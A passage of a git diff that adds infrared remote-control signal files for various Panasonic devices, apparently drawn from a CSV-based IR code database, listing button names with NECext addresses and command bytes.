+protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: >=10 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 89 00 00 00 +# +name: QUICK_REPLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8D 00 00 00 +# +name: ANGLE/PAGE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 90 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 91 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 92 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 94 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9B 00 00 00 +# +name: A.SRD +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9E 00 00 00 +# +name: CINEMA +type: parsed +protocol: NECext +address: B0 00 00 00 +command: C0 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: B0 00 00 00 +command: C1 00 00 00 +# +name: D.ENH +type: parsed +protocol: NECext +address: B0 00 00 00 +command: D5 00 00 00 +# +name: GROUP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: E0 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: EB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir new file mode 100644 index 000000000..a4d042ee6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 00 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 04 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 05 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 06 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 19 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 33 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 3D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 63 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 64 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 80 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 81 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 82 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 91 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 92 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 94 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir new file mode 100644 index 000000000..72250e216 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT_VIDEO +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 03 00 00 00 +# +name: INPUT_HDMI/PC +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 06 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 3D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 5A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 5B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 5C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 5D 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 61 00 00 00 +# +name: PICADJ_CCM +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 6E 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 72 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 7A 00 00 00 +# +name: PICADJ_MAIN +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 7E 00 00 00 +# +name: PICADJ_ADVANCED +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 7F 00 00 00 +# +name: INPUT_CMPNT +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 80 00 00 00 +# +name: INPUT_MEMLOAD +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 81 00 00 00 +# +name: INPUT_PICMODE +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 82 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 90 00 00 00 +# +name: SHUTTER +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 91 00 00 00 +# +name: INPUT_ASPECT +type: parsed +protocol: NECext +address: 80 48 00 00 +command: DE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir new file mode 100644 index 000000000..1efb75d2d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: digitalzoom+ +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 04 00 00 00 +# +name: digitalzoom- +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 05 00 00 00 +# +name: KEY_F +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 09 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 21 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 3D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 5A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 5B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 5C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 5D 00 00 00 +# +name: norm +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 61 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 6D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 72 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 79 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 7A 00 00 00 +# +name: aspect +type: parsed +protocol: NECext +address: 80 48 00 00 +command: DE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir new file mode 100644 index 000000000..0599cc7f8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: INTRO +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 46 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 81 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 84 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 85 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 87 00 00 00 +# +name: KEY_PROGRAM +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 90 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 91 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 92 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 93 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 94 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 95 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 96 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 97 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 98 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 99 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 9F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A0 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A2 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A3 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A6 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: AF 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B0 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B1 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B8 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BC 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BD 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BE 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BF 00 00 00 +# +name: KEY_SOUND +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: D9 00 00 00 +# +name: VIRTUALIZER +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: DA 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E7 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E8 00 00 00 +# +name: AUTOSCAN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: EC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir new file mode 100644 index 000000000..350c64319 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: Freeze +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 02 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 3D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 3E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 3F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 5A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 5B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 5C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 5D 00 00 00 +# +name: Default +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 61 00 00 00 +# +name: Input_Select +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 6D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 72 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 7A 00 00 00 +# +name: Picture_Adj +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 7E 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 81 00 00 00 +# +name: Theater_Room +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 8E 00 00 00 +# +name: Living_Room +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 8F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 90 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 80 48 00 00 +command: 99 00 00 00 +# +name: Aspect +type: parsed +protocol: NECext +address: 80 48 00 00 +command: DE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir new file mode 100644 index 000000000..2992ccf70 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 00 00 00 00 +# +name: pause_still +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 06 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0A 00 00 00 +# +name: rev.play +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0B 00 00 00 +# +name: still_adv +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 19 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 33 00 00 00 +# +name: +/-- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 3B 00 00 00 +# +name: vtr +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 3D 00 00 00 +# +name: time_search +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 44 00 00 00 +# +name: mem_rep +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 53 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 54 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 56 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 8E 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 8F 00 00 00 +# +name: monitor +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 91 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 90 00 00 00 +command: F0 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 90 00 00 00 +command: F1 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 90 00 00 00 +command: F2 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 90 00 00 00 +command: F3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir new file mode 100644 index 000000000..61f8e54eb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: X_KEY_QUIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: BAL_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: BAL_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: BWD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir new file mode 100644 index 000000000..03d5cdd39 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 00 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 01 00 00 00 +# +name: SEARCH_BACK +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 04 00 00 00 +# +name: SEARCH_FORWARD +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 05 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 06 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0A 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 10 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 11 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 12 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 13 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 19 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 33 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 3D 00 00 00 +# +name: POSITION_MEMORY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 46 00 00 00 +# +name: A-B_REPEAT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 48 00 00 00 +# +name: SKIP_BACK +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: SKIP_FORWARD +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 80 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 81 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 82 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 83 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 89 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8A 00 00 00 +# +name: QUICK_REPLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8C 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 90 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 91 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 92 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 94 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9B 00 00 00 +# +name: A_SRD +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9E 00 00 00 +# +name: FL_SELECT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: B6 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: B0 00 00 00 +command: B7 00 00 00 +# +name: SEQUENTIAL +type: parsed +protocol: NECext +address: B0 00 00 00 +command: BF 00 00 00 +# +name: CINEMA +type: parsed +protocol: NECext +address: B0 00 00 00 +command: C0 00 00 00 +# +name: BASS +type: parsed +protocol: NECext +address: B0 00 00 00 +command: D4 00 00 00 +# +name: D_ENH +type: parsed +protocol: NECext +address: B0 00 00 00 +command: D5 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: EB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir new file mode 100644 index 000000000..6e8ff1071 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 00 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 03 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 06 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 08 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0A 00 00 00 +# +name: STILL +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0C 00 00 00 +# +name: VTR/TV +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 36 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 3D 00 00 00 +# +name: TRACKING_PLUS +type: parsed +protocol: NECext +address: 90 00 00 00 +command: B1 00 00 00 +# +name: TRACKING_MINUS +type: parsed +protocol: NECext +address: 90 00 00 00 +command: B2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir new file mode 100644 index 000000000..4ca6d1f22 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: cdstop +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 80 